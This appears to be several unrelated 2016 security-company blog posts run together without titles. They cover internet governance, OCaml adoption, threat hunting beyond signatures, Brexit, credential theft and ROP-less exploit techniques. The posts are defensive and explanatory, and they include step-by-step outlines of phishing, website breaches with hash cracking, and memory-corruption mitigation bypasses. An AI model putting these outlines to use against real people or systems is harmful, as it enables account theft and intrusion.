China has global aspirations for their model as well, laying the groundwork for alternatives to the modern Internet. Russian and Chinese officials met last month to discuss digital strategy, just the latest in their push for digital sovereignty, with Russia seeking to learn from and augment its information control similar to the Great Firewall. Brazil is also taking a page from this playbook, with growing government involvement in information control, such as blocking the messaging platform, WhatsApp. These initiatives focused on information control are part of a global effort to shape the digital order. With India’s ascent to lead the BRICS (Brazil, Russia, India, China, and now South Africa), discussion among the group is increasingly dominated by ways to shape the global digital order. While it remains a group with diverse interests, they nevertheless seek a role in shaping the future of the Internet. Similarly, there are smaller efforts such as Project Yeti that aspires to redirect traffic from the Internet to an alternate root. It is driven largely by technical considerations, as well as to counter the risk of Western surveillance. The Beijing Internet Institute runs Project Yeti, in conjunction with a Japan-based group and computer scientists.

Multi-Stakeholder Initiatives

From the perspective of many regional powers, the US government (via the Internet Corporation for Assigned Names and Numbers, ICANN)  and US companies (via their technology) – control the Internet. In an attempt to offset these negative perceptions and to implement global digital norms, the US continues to seek ways to shape the digital world order toward a free and open multi-stakeholder model. Relinquishing control of ICANN is a first step toward this model. Currently reporting to the US Department of Commerce, ICANN controls naming conventions, matching domains and IP addresses. However, in 2014, President Obama announced that ICANN will transition this role to a global, private group. This is set to occur in September 2016. As part of this outreach to the global community, ICANN will host a global meeting in Hyderabad, India, in November.

The US also continues to push forth this multi-stakeholder model at the UN’s Group of Governmental Experts (GGE). A new report by the GGE and agreed upon by 20 governments, including the US, China, and Russia, proposes a range of international norms for cyber activity. Clearly, this ties into other ongoing discussions on the defining cyber acts of war, but focuses more so on those activities that fall below the threshold of use of force, such as espionage and IP theft. With so many distinct interests, there are numerous collective actions problem with international cooperation and shaping these norms. That said, the United State’s push for global norms and a multi-stakeholder model is emblematic of its global campaign to counter perceptions of its hegemonic control of the internet.

The Way Ahead

While some predict the Internet to approach global saturation by 2020, these projections are largely based on an uninterrupted current trajectory. Despite decades of Internet growth, there is momentum for greater control of the Internet. Many regional powers are increasingly looking to digital sovereignty as a means to maintain greater domestic control and exert global influence. The US is taking steps to counter this movement with a multi-stakeholder model, but it relies on global cooperation which remains a challenge. This jockeying of power between these two competing perspectives is only likely to grow, and has great implications for the future of the global digital order.

For many internal prototypes at Endgame, we adopt an agile development process to rapidly build proof-of-concept services which can then be deployed and reiterated upon to quickly address bugs and introduce new features. Our R&D and DevOps groups maintain and improve dozens of interconnected services, from training machine learning models on malware samples to processing and analyzing domain information. However, many DevOps and R&D requirements are iterative and fluid, and it can be difficult to write services that are fast, safe, and extensible enough to address these changing needs.

For many of our previous services, we utilized Python for its quick development turnaround and rich library ecosystem. However, we often encounter issues that arise from the aforementioned “quick” development, such as occasional bugs arising from type errors, or poor error handling causing service downtime. Hastily written services can also be difficult to refactor as their structure may become convoluted over time.

While many in our DevOps and R&D teams have Python backgrounds and continue to use it for many tasks, we have recently begun to use functional programming in OCaml to solve some of the issues that arise with rapid Python development. OCaml is a compiled, strongly typed programming language that emphasizes safety and expressiveness. It boasts a mature ecosystem of tools and libraries, and has been most used in industries which require a high degree of confidence in bug-free, performant code.  While it is considered a multi-paradigm language, OCaml strongly emphasizes a functional programming style, which provides many of the benefits covered in this post. With OCaml, we have improved our ability to adapt to changing requirements, and trust that the software we write is more stable and correct.

Screen Shot 2016-05-25 at 9.42.45 AM.png

The freedom of programming in a dynamically typed language (Image source)

Python, we still want you around...

Many teams at Endgame still use Python for the majority of their development, and it has continued to provide great value for quickly getting services up-and-running. For many tasks in R&D, however, we needed a language that would allow us to refactor more easily, provide greater runtime safety, and catch more errors at compile time. Python did not quite meet our development, safety, and refactoring needs. We found that:

• Python is fast to prototype/script in, but handling large amounts of data can sometimes expose issues that crop up due to dynamic typing.
  • Handling JSON in particular can allow for runtime errors as free-form input/mangled data cause type unsafe functions to fail unexpectedly.
• Python is relatively slow in runtime performance due to its interpreted nature.
• Packaging and deploying Python programs requires also deploying a Python interpreter, which itself requires many additional dependencies.
• Codebases written hastily in imperative languages can often devolve into ball-of-mud refactoring nightmares, especially with reliance on deeply nested polymorphic inheritance or proliferation of global state. Python often does little to encourage separation of external IO concerns from internal program logic. Without regular attention given to design and style, shared mutable variables can cause baffling behavior in large programs.

....But OCaml has what we need!

When an Endgamer with extensive previous functional programming experience suggested that our workflow could benefit from the balance of speed and safety that OCaml provides, we found that many of its features addressed our issues with Python.  We had several requirements for a new language if we were going to augment Python for DevOps and R&D:

Requirement: A language in which we could write a service quickly (Terseness/Expressiveness).

• OCaml's syntax is extremely concise, while allowing for high-level programming features. This includes:
  • A type system including algebraic types and variants.
  • Higher-order functions, partial function application, and currying
  • Option types, which allow functions to require the caller to handle potential errors/lack of response.
  • A powerful pattern-matching system.

Requirement: A language with fast performance.

• OCaml's performance, when compiled natively, often is very close to that of C/C++.

Requirement: A language that is easy to refactor. Due to the agile requirements process of R&D, we needed to be able to redesign service components easily.

• Functional languages can help developers avoid many program design pitfalls by dissuading or preventing proliferation of global state. 
• Expression-based languages allow for extremely easy reorganization of code-segments.

Requirement: A language with more runtime safety guarantees.

• This allows developers to write safer code, and safer libraries for reuse.
• OCaml's type system allows for complex and expressive hierarchies of types checked by Hindley-Milner type inference.

Requirement: A mature language with library support for common use cases, as well as C Foreign Function Interface (FFI) bindings to extend external code as needed.

• Much of OCaml’s library base is mature and has been stable and heavily tested for years.
• OCaml’s Ctypes library allows for extremely simple binding to external C/C++ libraries.

Recently, many other people have had similar conclusions about OCaml’s benefits for systems’ programming, and have written posts about their experiences with the language:

https://tech.esper.com/2014/07/15/why-we-use-ocaml/

http://roscidus.com/blog/blog/2014/02/13/ocaml-what-you-gain/

http://www2.lib.uchicago.edu/keith/ocaml-class/why.html

So far, OCaml has made it much easier to write fast, stable, and safe services that are easy to return to and refactor later.  In the coming months, we will be publishing a series of technical blog posts describing our usage of OCaml at Endgame, as well as a handful of libraries and frameworks we have developed to support internal development.

Stay tuned!

Cyber intrusions are continuing unabated with no end in sight. Ransomware is on the rise, massive data breaches are announced with such regularity that the public is becoming numb to their significance, and APTs continue to burrow deep into networks going undetected for months or even years.  At the same time, most organizations across all industries are increasing their cyber security budgets but usually fail to produce a meaningful increase in defensive effectiveness.

In short, the adversary continues to win.  Fortunately, most security professionals and vendors are asking what must be done differently to increase defensive effectiveness.   We often hear that enhanced signature sharing is the primary solution.   From the other end, we hear that signatures are dead.  The truth lies in between.  

Signatures are effective in detecting a portion of what is already known and for hunting within your enterprise to understand the extent of a known intrusion.  However, due to their brittleness and increasing specificity to only the targeted victim, signatures are an utterly insufficient foundation for the caliber of detection and prevention capability needed today to prevent compromise or detect and remediate compromise as rapidly as possible.  

We need to do more.  We need to add additional layers of detection around signature and IOC search, looking for indications of attacker techniques at low levels in the system while simultaneously hunting for higher-order patterns which could indicate maliciousness across large sets of monitored hosts.  Moving from solely signature-based defenses to also including attacker techniques and patterns is the best way to maximize the defender’s chance of success in minimizing damage and loss.

Why aren’t signatures enough?

For the purpose of this post, we use the terms signature and Indicator of Compromise (IOC) interchangeably.  A good signature is a feature that, with a low false positive rate, uniquely corresponds to a known attack campaign or piece of malware.  We can group these in two buckets: network signatures and endpoint signatures.

On the network

Network signatures usually come in the form of blacklisted domains, IP addresses, URI structure, or patterns in command and control or other communications.  Two primary factors have massively reduced the effectiveness of network IOCs in recent years: attack infrastructure diversity and encryption.

First, adversaries know their infrastructure is a point of vulnerability in their campaigns and actively seek to diversify and blend in as much as possible.  The ubiquity of cloud services has been a major enabler for adversaries, allowing them to rapidly stand up and tear down infrastructure for low cost.  Others use legitimate cloud services for data exfiltration or command and control, bypassing a need for a dedicated C2 infrastructure.  Adversaries also engage compromised, unwitting nodes as disposable hop points.  Trying to keep up with every hop point to defend your network is not a winning strategy.

Adversaries would in the past often use the same infrastructure across many victims for long periods of time.  This is much less common today.  High caliber adversaries will usually use infrastructure across many victims for only very short-lived campaigns, sometimes going so far as to use entirely unique infrastructure for all phases of an operation targeting a specific victim.  Today, signatures may only be useful retrospectively to identify whether a newly discovered campaign (which may have taken place weeks or months ago) targeted you.  Signatures may actually prompt you to waste resources searching for something an adversary never would have used to target you in the first place.

Next, encryption has made it far more difficult to track patterns on the wire.  Network-level pattern matching capabilities such as Snort or Bro signatures used to be relatively effective in detecting intrusions in your network.  Malware authors need to design structured command and control communications to organize victim machines and direct victims to take certain actions.  Analysts can often fingerprint these communications structures and detect them on the wire, even if unique or unknown infrastructure is in use.  However, we are increasingly seeing malware communicate within end-to-end encrypted tunnels, usually using universal protocols such as SSL or TLS.  When communications are encrypted, unless SSL proxying or other intrusive traffic inspection technology is put into place these patterns are not visible to network security appliances applying these signatures.  Thus, the signatures for the malicious malware communication patterns will not fire and the intrusion will go unnoticed.

On the Endpoint

Evidence of an intrusion on workstations and servers can be found in numerous locations, including malware hashes, filenames, registry entries, and much more.  As with network infrastructure, in the past, malware was regularly reused across many victims for long periods of times without diversifying these artifacts.  Adversaries with any level of sophistication no longer make these mistakes.  They have learned that it is important to avoid a detrimental (from their point of view) global impact from a single detection.  Defenders need to understand this and pursue intrusions accordingly.  

Malware is often polymorphic, changing itself to have a unique hash every time and automatically diversifying filenames, persistence mechanisms, and other features which can be signatured.  In these cases, which are increasingly common, an artifact found in a single victim will not be effective as a global IOC.  Strategies that focus on patterns within malicious binaries themselves (Yara signatures, for example) can at times be relatively effective in detecting new tools from a given known malware family, but these can be difficult to use across an enterprise and are very prone to false positives.

In addition, some adversaries are moving entirely away from malware as their default way of accessing and interacting a victim.  Legitimate credentials and administrative tools like Powershell are often all that is needed to take desired actions on a network.  Malware is often only used for persistence and sometimes not used at all.  In these cases, the adversary does not leave behind a significant footprint to be used as the basis of IOCs.  IOCs will be entirely ineffective and the problem turns into distinguishing malicious usage of tools and credentials from normal operations.

Do we still need signatures?

For the reasons described above, signatures are not a sufficient foundation for detection and prevention in your network.  That said, they are still valuable.  They are useful and effective in catching unsophisticated tools and actors.  They can also help you determine if a given attack campaign has touched your systems.

Search functionality is very important to locate known IOCs on your systems and in your traffic.  Signature search is also necessary to determine the extent of a given compromise in your environment.  For example, if you find evidence that a certain registry key is being used for persistence on a compromised host, you need a way to look across your other systems to look for that same key.  IOCs of this sort are useful much more often inside your network than they are to other possible victims of the same adversary.  IOC searching is a part of threat hunting, but it’s not enough.

So we need more.  What should we do?

We need technologies to detect threats without relying on signatures.  This takes two main forms: looking deep in the operating system for indications of malicious activity and hunting for suspicious patterns across key data from many systems.  Basically, we must look a layer below and a layer above IOC search.

There are a few well established frameworks for understanding the sequencing and methodologies exhibited time and time again in cyber intrusions, such as Lockheed Martin’s Kill Chain and Mitre’s ATT&CK framework.  While adversaries constantly change and adapt malware, they actually use the same techniques over and over – process injection, credential dumping, token stealing, host enumeration, and lateral movement being a few examples of many.  An attacker can build a nearly infinite number of tools to do these things generating different IOCs, but they must go through the same choke points in the OS to execute these actions on the system.  We can identify these key chokepoints, develop ways to detect and optionally automatically block the adversary, and alert the cyber security operations team that a malicious event has taken place.  Effective tools can prevent malicious activity at the right chokepoints in real-time and alert the security team to a likely intrusion -  all without signatures.  

We also must look for suspicious activity and patterns across our endpoints.  This is the core of effective threat hunting, improving from simply finding what’s known to empowering security teams to find unknown and unique intrusions.  This is possible because adversaries leave a trail which can be followed.  Adversaries must operate on systems.  They must execute code. They usually communicate on the network. They often read, create, or modify files.  They do much more.  All of these breadcrumbs can be followed by an astute hunter.  The hunter can look at process activity information, network traffic, domain lookups, previously executed commands, persistence locations, and in other key areas.  Suspicious activity can be flagged, investigated, and detections can occur.  In this way, IOC search becomes a subset of hunting.

Hunting manually can be very difficult and will not scale.  However, by combining hunt methodologies with automation, analytics, and machine learning, hunt operations can be scaled and optimized.  Detections of unknown intrusions can be surfaced at speed and scale at this layer above traditional IOC search and then acted upon by the security team.    

Conclusion

We still need to use signatures.  It is important to have a capability to search for artifacts associated with known campaigns, to combat low caliber adversaries, and to pivot through your network once a unique adversary is discovered via other means.  

Signatures are not enough to form the detection and prevention solution needed to defend against modern threats.  They are neither effective on the host nor at the network level to detect advanced adversaries.  Additional detection capabilities which look at low level chokepoints in the operating system are necessary, as are simultaneously executed hunt operations across systems for indications of suspicious or malicious activity.  By combining hunting with automation, analytics, and machine learning, we can produce high quality detections which can be used by security operations teams in the same fashion as detections from chokepoint monitoring and signature monitoring.  

Combining these three layers - low-level attacker techniques detections, signature-based detections, and detections from automated hunts - maximizes the chances of stopping adversaries before they succeed.

Last summer, Stagefright became a household name after security researcher Joshua Drake highlighted vulnerabilities in the multimedia engine in Android that goes by the same name. His BlackHat USA talk last August set off a gold rush amongst bug hunters. Android security bulletins continue to be filled with libstagefright and mediaserver vulnerabilities each month, as depicted in the chart below. This high volume of bug fixes in Android is both comforting and alarming.

Screen Shot 2016-06-20 at 4.46.09 PM.png

 

Vulnerability discovery, disclosures, and patch management remain an integral part of improving the security of platforms such as Android. However, exploit mitigations can also increase the level of difficulty for exploitation by forcing the attacker to adapt their techniques. At Endgame, our Vulnerability Research & Prevention (VR&P) team is actively pursuing both models in order to help defend against exploitation. As an example of the latter approach, this post discusses how the performance monitoring unit (PMU) of certain ARM cores can be utilized to perform system-call monitoring. This hardware-assisted technique adds minimal performance overhead, avoids any requirement for patching the kernel, and offers a unique way to perform integrity checks on system-calls such as for ROP detection. 

The policy world will spend the day shocked that the Brexiteers defeated the Remainers by 52-48%, leading Prime Minister David Cameron to promise to resign this Fall. The majority of security professionals likely didn’t follow the ebbs and flows of the debate with the same fervor they give to Game of Thrones. With much of the media discussion appropriately focused on the economic and financial implications, there has not been much analysis of the implications for the digital domain. With the Brexit now a reality, it warrants a renewed focus by the security community as the consequences of the Brexit vote play out over the next few days, months and years.

For the most part, the security industry has focused on whether or not a Brexit would make the UK safer (or less safe) with regard to cybersecurity. A poll administered to security professionals claimed that that there likely would not be cybersecurity implications, noting that Britain may simply pursue a national implementation of EU policies. A different poll of security professionals disagreed, concluding that a Brexit would weaken cybersecurity because there would be additional hurdles and, likely, weakened information sharing with the EU. Clearly, it is too early to tell, but a Brexit could continue the devolution toward the Balkanization of the Internet. The UK may opt to implement its own version of EU policies, such as the General Data Protection Regulation, which aims to facilitate commerce through a single Digital Single Market while providing enhanced digital privacy. However, the vote in favor of the Brexit was a vote in favor of greater national control over its economy. There is reason to believe this same desire will also bleed into the digital arena, with a push for digital sovereignty and greater national control over the Internet. As has historically been the case when more isolationist policies defeat internationalist ones, these policies are not single-issue, but address the larger need for national control over all aspects of life. A Brexit may further augment the Balkanization of the Internet if the UK pursues its own sovereign path in the digital domain.

The tech world largely sided with the Remainers, due to the ease of access to markets as well as a larger talent pool.  This sentiment was especially strong among the Fintech community, who wants London to remain the well-established hub of the financial world. With Bitcoin surging and the pound dropping, Fintech’s concerns about a Brexit are well-founded. With the EU push for a “Digital Single Market”, Fintech companies no longer will benefit from their passport to the European Economic Area, likely resulting in UK-based companies moving to EU countries. The UK will adapt, but London’s role as the financial hub is now increasingly threatened thanks to the Brexit, coupled with the rise in digital currencies, and the EU’s move toward greater digital integration within member-states.

Finally, while most people in security associate bots with malware, there are initials signs that ‘bots’ attempted to influence voting behavior. Bot traffic comprises 60% of all online traffic, with social media bots found for both the Brexit and remain camps.  Focusing on Twitter traffic for Brexit, remain and neutral hashtags, the most active 1% of contributors made up 30% of the content. As undecided voters generally don’t make up their minds until the last 24-48 hours, these social media bots can potentially influence those last-minute decisions. Moreover, as elections increasingly see a spike in phishing scams, it would be surprising if the same did not occur in the lead up to yesterday’s vote.

With the Brexit now a reality, UK workers will encounter more limitations to their mobility, and UK’s security industry will encounter a rising patchwork of hurdles to sharing threat intelligence and other forms of digital collaboration and regulations. And for those who still fail to see the relevance of the Brexit, even Game of Thrones is impacted, as the show receives EU subsidies while filming from Northern Ireland. Winter may come in a different location next season. That said, the pendulum historically tends to swing between extremes of isolation and integration, progressing eventually toward greater integration. While the Brexit vote may not have registered on many in the community’s radar, it is a very impactful vote that has unknowable security implications.

Online credential theft has exploded in the past several years.  This month alone, numerous breaches have affected millions of users of high profile websites such as LinkedIn, MySpace, vk.com, and Tumblr. In these cases, criminals are not seeking corporate secrets or nuclear launch codes, but rather usernames and passwords for online accounts of everyday computer users.

Credential theft can come in many different flavors with varying levels of impact, from attacks targeting a single or small set of users, to attacks compromising credentials from within an enterprise, to attacks compromising the credentials of millions of users of an online service. While criminals certainly steal usernames and passwords for corporate accounts for extortion and corporate espionage, this article focuses on the compromise of personal  accounts in both targeted mass data breaches. This includes why criminals steal usernames and passwords, and the most common tactics criminals use to steal usernames and passwords. It concludes with some basic steps you can take to reduce your risk of being targeted, as well as how to respond once you’ve been notified of a password breach.

Why do criminals steal usernames and passwords?

The short answer is: for profit, eventually.

The long answer is: it depends.

Hackers steal usernames and passwords from websites for a handful of reasons, but most of them lead to cash eventually. Sometimes criminals steal a database of hundreds of thousands of users from a website and sell it wholesale directly on black market web forums. The larger the database, the more money they can charge for it. Sometimes criminals will use the usernames and passwords to log in to people’s email accounts and send spam email for dubious scam products, making money from referrals and product link-clicks. In each of the cases, the methods of monetization are “quantifiably linear”. The amount of money the criminal makes is strictly tied to the amount of usernames and passwords they steal. The value of the individual accounts is not a consideration.

The next reason criminals steal credentials is as a means to gain access to another, more valuable asset. Usernames and passwords by themselves provide very little value, but the assets that those credentials protect is oftentimes far more valuable. For example, ten thousand valid Gmail usernames and passwords may be worth several hundred or even thousands of dollars on underground criminal forums, but the ability to reset social media and banking passwords, access cell phone provider accounts, read confidential employer information, and even reset other email accounts provides far more value to an attacker.

Criminals steal credentials ultimately to make money or gain access to a more valuable piece of information. It is this monetization of credentials, and the subsequent growth of underground markets, that drives criminals to steal usernames and passwords.

How do hackers steal usernames and passwords?

There are two major categories of how attackers steal usernames and passwords: attacking the users directly and attacking the websites people use.

Attacking Users Directly

These techniques are effective in stealing usernames and passwords from relatively small numbers of people. If an attacker values the account information of a particular targeted person, these techniques also apply.  Some of these methods are obvious to a knowledgeable user and thus easier to protect against. However, as determination and intrusiveness escalates, these methods can be more difficult to stop.  While credentials for many victims of this type of attack can be packaged into large numbers for sale or use, this type of activity does not usually make the headlines.

Some criminals use a technique called  “phishing.” This process usually looks something like this:

1. Hacker finds a large amount of Bank of Somewhere customers
2. Hacker sends a fake login page to legitimate Bank of Somewhere customers hosted on a domain that looks simiar to "bankofsomewhere.com"
3. Some small percentage of the victims unwittingly enter their usernames and passwords into the website that the hacker controls
4. Hacker logs in to stolen accounts, transfer funds to an account they control

Some criminals use even broader phishing attacks to steal social media accounts:

1. Hacker sends fake Facebook login pages to as many email accounts as possible stating that there is a problem with their account that needs to be fixed
2. Some victims enter their Facebook usernames and passwords
3. Hacker uses access to their Facebook accounts to promote spam and adware-laden websites
4. Hacker generates ad revenue from fake clicks and page visits

Sometimes criminals will want the credentials of a known high-value individual.  More care goes into customization and believability for these cases.  The attacker may go as far as attempting to impersonate the individual in tech support calls, hack the actual computer used by the high-value target to collect credentials, or other invasive techniques.  It can become difficult to defend against a determined attack, but fortunately, most of us aren’t of this level of interest to attackers and basic online hygiene principles listed below will provide some protection.  

Attacking a Website Directly

If a criminal wants to steal millions of usernames and passwords and doesn’t care who gets scooped up, he targets a website directly. The more credentials they steal, the more money they can get selling them or monetizing them in some other way. This almost always comes in the form of a criminal exploiting a vulnerability in the website itself. The criminal uses one of any number of tactics to gain access to the server supporting the website and steals the credentials directly from the database.  The credentials are usually stored as a large set of username and “hashed” password pairs.  A password “hash” simply refers to a more secure method of storing a password where a mathematical representation of your password is stored in lieu of the plaintext password.

Once the criminal steals the database, they often have to recover the passwords from the “hashed” form back to the actual plaintext password, allowing them to check it for likely reuse on other websites. This is accomplished by “brute forcing” the password hashes to recover anything that is computationally guessable (meaning, a password simple enough to be guessed by a wordlist or sequence of iterating characters, like AAAAA, AAAAB, AAAAC, and so on). This last factor is what highlights the importance of strong, complex passwords versus simple, easily-guessable passwords. If your password is a simple dictionary word, for example “baseball”, then your password will almost certainly be very simple to recover from it’s hashed form. Conversely, if your password is long and complex then you are better protected from a large website breach, as it would be computationally infeasible for an attacker to brute force a sufficiently strong password.

An example of this is as follows:

1. Hacker targets a popular social media website called MyBook
2. Hacker finds a vulnerability or misconfiguration in the server hosting the website and uses it to gain access to the website.
3. Hacker locates the database of all registered users and creates a backup
4. Hacker downloads the database backup he created of users and hashed passwords
5. Hacker runs the hashed passwords though a password cracker for a week and recovers 50% of the total passwords
6. Hacker sells the usernames and recovered passwords to someone on an underground hacking forum
7. The person that purchased the database uses an automated program that checks all of the usernames and passwords against other websites for password reuse and gains access to thousands of email, social media, and online banking accounts

How do people protect themselves?

There are a several easy steps you can take to minimize the damage personally inflicted upon you by a password breach.:

Use unique passwords on different websites

Imagine having the same key for your house, car, office, and gym locker. While it would be very convenient, it would be a nightmare if you lost it (or worse, if somebody stole it). Criminals gain access to multiple accounts on the Internet because they know that remembering passwords is hard and nobody likes to do it. By having unique passwords on different websites you are reducing the risk of a criminal gaining access to additional accounts as a result of stealing your password.

Use complex passwords

Complex passwords are essential to make them difficult to guess and difficult to recover from a compromised password hash.   I recommend using passwords that are at least 12 characters long that include a mix of letters, numbers, and symbols.  You should avoid using words that would be present in a dictionary to make password guessing and brute-forcing more difficult.  

Use a password manager

Password managers are programs that run on your computer, in your web browser, or directly on your smartphone. Instead of thinking of a password every time you register on a website, the password manager generates a long, complex, random password that you don’t have to remember. Then, whenever you want to log back into that website, you visit your password manager and copy and paste the saved password directly into the website.  LastPass and 1Password are two examples of popular password managers.  It is also important to note that a password manager inherently accomplishes the previous two recommendations.

Use multi-factor authentication on all high value accounts

Multi-factor authentication is a security control that adds an additional layer of security beyond username and password. Multi-factor authentication can come in many different forms, but the most common are a smart phone app, hardware token, or text message codes. Once you’ve enabled multi-factor authentication, you’ll enter your username and password on a website and it will ask you for a third item (a number from an app or a text message).

This ensures that the person attempting to log into the account with your username and password also has your smart phone, and thus, is more likely actually you. Even if a criminal successfully steals your online banking username and password through a targeted email attack or from a third-party website breach, they will not be able to log into your account because they do not have access to your smart phone. The best part is that most major banking, social media, and email providers offer and encourage multi-factor authentication free of charge.

Conclusion

Unfortunately, password breaches and credential theft aren’t going anywhere soon. They are an unwelcome and inconvenient fact of life in the modern Internet era. As long as credential theft remains relatively easy, and the market continues to offer large financial rewards, your usernames and passwords will continue to be highly sought.   The good news is that it’s pretty straightforward to protect yourself from a large majority of the real threats to average computer users. All of the recommended protections are low cost and take no more than an hour to set up. By following these basic steps you can significantly reduce your risk exposure to any credential breach. Now go forth, secure yourself, and use the Internet with confidence.

Too often the defense community makes the mistake of focusing on the what, without truly understanding the why. This mindset often leads to the development of technologies that have limited effectiveness, and an even shorter shelf life. Time and again we’ve seen newly developed software protections bypassed shortly after their release.  This is especially true with exploit mitigations, and Return-Oriented Programming (ROP) in particular. In short, current defenses target obsolete offensive techniques.

The offensive community has known something for a long time that I would like to share with you. ROP is dying and ROP exploit mitigations aren’t as effective as you might think.

A Brief History of ROP

First, let us take a step back and look at what ROP is, and why many third party security products have ROP defenses. Over a decade ago, processor manufacturers began to add hardware enforcement of page level permissions. This support enabled operating systems to restrict code from executing anywhere in memory, a common exploit technique. Microsoft implemented this restriction in Windows XP Service Pack 2, and named it Data Execution Prevention, or DEP.

As Microsoft Windows and other operating systems introduced these countermeasures, researchers were quick to devise creative ways to bypass them. In his seminal paper, Sebastian Krahmer lays out what would eventually be named Return-Oriented Programming. Krahmer’s paper was published on September 28^th 2005, shortly after DEP and similar mitigations went mainstream.

Since its publication, dozens of research papers, conference presentations, and exploits have used some form of Krahmer’s idea of reusing legitimate code to circumvent DEP, and ROP became enemy number one.

Techniques for building ROP “gadgets” have varied over the last ten years, but the core purpose remains. Build a stack of legitimate code locations ending in a return, that when executed gives the attacker the ability to execute their arbitrary payload.

After a decade of study, defenders have come to understand key artifacts to detect and prevent these gadgets from changing permissions or executing code. This has led to add-on security solutions like Microsoft’s own “Enhanced Mitigation Experience Toolkit”, or EMET. But while security vendors were working on the ROP problem, attackers were overcoming a bigger issue, ASLR.

Address Space Layout Randomization (ALSR) is a defensive method for randomly assigning virtual addresses to code and data in a running program. ASLR aims to prevent an attacker from using previous knowledge of the address space to gain an advantage and execute malicious code. This has proven extremely effective in “raising the bar” of exploitation and is one of the most significant research challenges when building weaponized exploits.

Microsoft introduced ASLR in Windows Vista, but did not comprehensively implement it until sometime in 2011, when they recompiled all libraries to take advantage of it. While ASLR has proven to be effective, it must be fully enforced on every piece of data in a program. Because of this, the system falls apart if one piece of data is unprotected. Until fairly recently exploit writers have been abusing this loophole to bypass the mitigation.

As ASLR has improved through “full” ASLR, attackers have needed to read memory in their exploit code to adequately determine what data to target for a successful exploit. This step in exploit development is one of the most time consuming, but also the most powerful, because in many cases not only can you craft an exploit to read the target address space and bypass ASLR, you can also write into the target address space.

In short, the ability to read and write memory makes ROP unnecessary and is the reason Return-Oriented Programming is dying.

ROP is Dying

In 2014 Yang Yu presented “Write Once, Pwn Anywhere” at Blackhat USA. This presentation is a great demonstration of using a read and write “primitive” to make a small change that has a significant impact. In his presentation and proof-of-concept, Yu corrupts the Jscript.dll “safemode” flag stored in memory to enable the use of the WScript.Shell COM method. This method can be used to execute shell commands and is normally protected in Internet Explorer for obvious reasons. However, by changing the “safemode” value in memory, an attacker can bypass this restriction and execute arbitrary commands, without needing Return-Oriented Programming techniques.

Shortly after the presentation, researchers used Yu’s idea to exploit a VBScript vulnerability (CVE-2014-6332). Again, the exploit writer overcame the difficult problem of getting arbitrary memory read and write access, then used that to gain full-system access without tripping any software mitigations such as EMET.

Earlier this year, a component of the Angler exploit kit targeted a vulnerability in Silverlight (CVE-2016-0034) using a similar approach. First, trigger a vulnerability that gives programmatic read and write of virtual memory, and then overwrite critical data to gain code execution. In this exploit the writers were very clever. Instead of flipping a bit, like the previous examples, they created legitimate code in executable memory using Silverlight’s JIT engine. To gain code execution without ROP they overwrote their legitimate code page with their payload, absolving themselves of DEP restrictions, and EMET was none the wiser.

Finally, let’s look at a trend in several popular exploit kits that demonstrate the increased usage of “ROP-less” techniques, like previous examples, to exploit software. My colleague Matt Spisak astutely linked the change after CVE-2015-5119 to a technique originally developed by researcher Vitaly Toropov. Toropov’s technique, like the Silverlight one before, uses a clever method to bypass DEP without needing ROP. As the technique became public through the HackingTeam leak, the exploit kit authors quickly updated their exploits, and have completely bypassed EMET ever since.

These examples demonstrate some of the ways new exploit techniques are less reliant on Return-Oriented Programming. Many more techniques exist publicly, and as the HackingTeam leak proved, private and therefore unknown techniques exist, too. If you enjoy the art of exploitation, I strongly recommend the previous articles that dive into each technique in great detail.

Screen Shot 2016-07-13 at 2.11.42 PM.png

The exploit kit graph above illustrates really well the declining utility of ROP. It also perfectly demonstrates the difficulty in ROP-based exploit mitigations. A single change in exploit technique trends can have a dramatic and long lasting effect.

Towards Earlier Detection

As attackers have moved away from ROP and towards a more advanced, and frankly harder to detect, technique for executing payloads, what can we do?

Recently, vendors such as Microsoft have recognized that ROP defenses are not enough. In Visual Studio 2015 Microsoft introduced Control Flow Guard (CFG). This new compiler based mitigation attempts to eliminate the ability to exploit certain classes of vulnerabilities. Unfortunately, to utilize CFG, code must be recompiled with the latest compiler and options. Alternatively, we have introduced a similar approach in the latest version of our product that works on any software without needing to be recompiled. So why have Microsoft and Endgame invested in locking down control-flow?

Over the years the industry has come to the conclusion that it is impossible to eliminate vulnerabilities. We also know that exploit authors are incredibly creative. The biggest impact we can have on the success of exploits is to limit the opportunity for creative bypasses. To oversimplify, exploits have to trigger a vulnerability, and then “do something”. Anti-exploit solutions need to disrupt this “something” early in the stages of exploitation to maintain an advantage.

To demonstrate, consider the following graphic that illustrates the high-level stages of an exploit.

Screen Shot 2016-07-13 at 2.13.04 PM.png

This progression highlights that real defense must fight in the “Exploitation” stage of the attack. At this point, defenders still have the advantage of preventing successful exploitation. Unfortunately, most exploit prevention products continue to focus on the “Post-Exploitation” stage. By that time, the attacker will almost always win. In Post-Exploitation an attacker typically has the ability to execute some code on the target system, or gain adequate control over the program. This is the case with Return Oriented Programming techniques. By this stage defense has lost. Instead, real defense must focus on fighting in the “Exploitation” stage of the attack. At this point, defenders still have the advantage of preventing successful exploitation and can stop attackers from achieving their objectives.

Endgame’s solution to the problem takes a different approach than most vendors. Like Microsoft, we believe guarding control flow is the first step in building better prevention. However, we want customers to take advantage of the technology without having to recompile their code.

To achieve this we have developed a new concept we’re calling Hardware Assisted Control Flow Integrity, or HA-CFI. This technology utilizes hardware features available in Intel processors to monitor and prevent exploitation in real-time, with manageable overhead. By leveraging hardware features we can detect exploits before they reach the “Post-Exploitation” stage, and provide stronger protections, while defense still has the upper hand.

Conclusion

For the time being, ROP defenses are still providing some protection, especially in commodity and less advanced exploits, or when reading and writing memory may be impossible. However, its death is imminent and something the security community must acknowledge. The community must not be lured into a false sense of security while a large number of successful attacks go unnoticed.

Next generation exploit defense must move to detecting and preventing exploitation patterns in earlier stages of the process to maintain the defensive advantage needed to limit exploit authors’ creativity and effectively block them. At Endgame, we understand the fragility of “Post-Exploitation” preventions. Good exploit mitigations greatly reduce the attackers’ opportunity. If you’d like to hear more, come and see the latest research we are presenting this summer at Blackhat USA titled “Capturing 0day Exploits with PERFectly Placed Hardware Traps”. If you can’t make it to Vegas, I’ll also host a webinar covering this topic on August 17.

This is an exciting time for exploit mitigations as software vendors continue to make important changes that reduce the impact of vulnerabilities and security vendors such as Endgame push the state-of-the-art in third party detection and prevention. While ROP, and defenses against it, may be showing their age, there is still a lot of opportunity for new and effective solutions to the exploit problem.

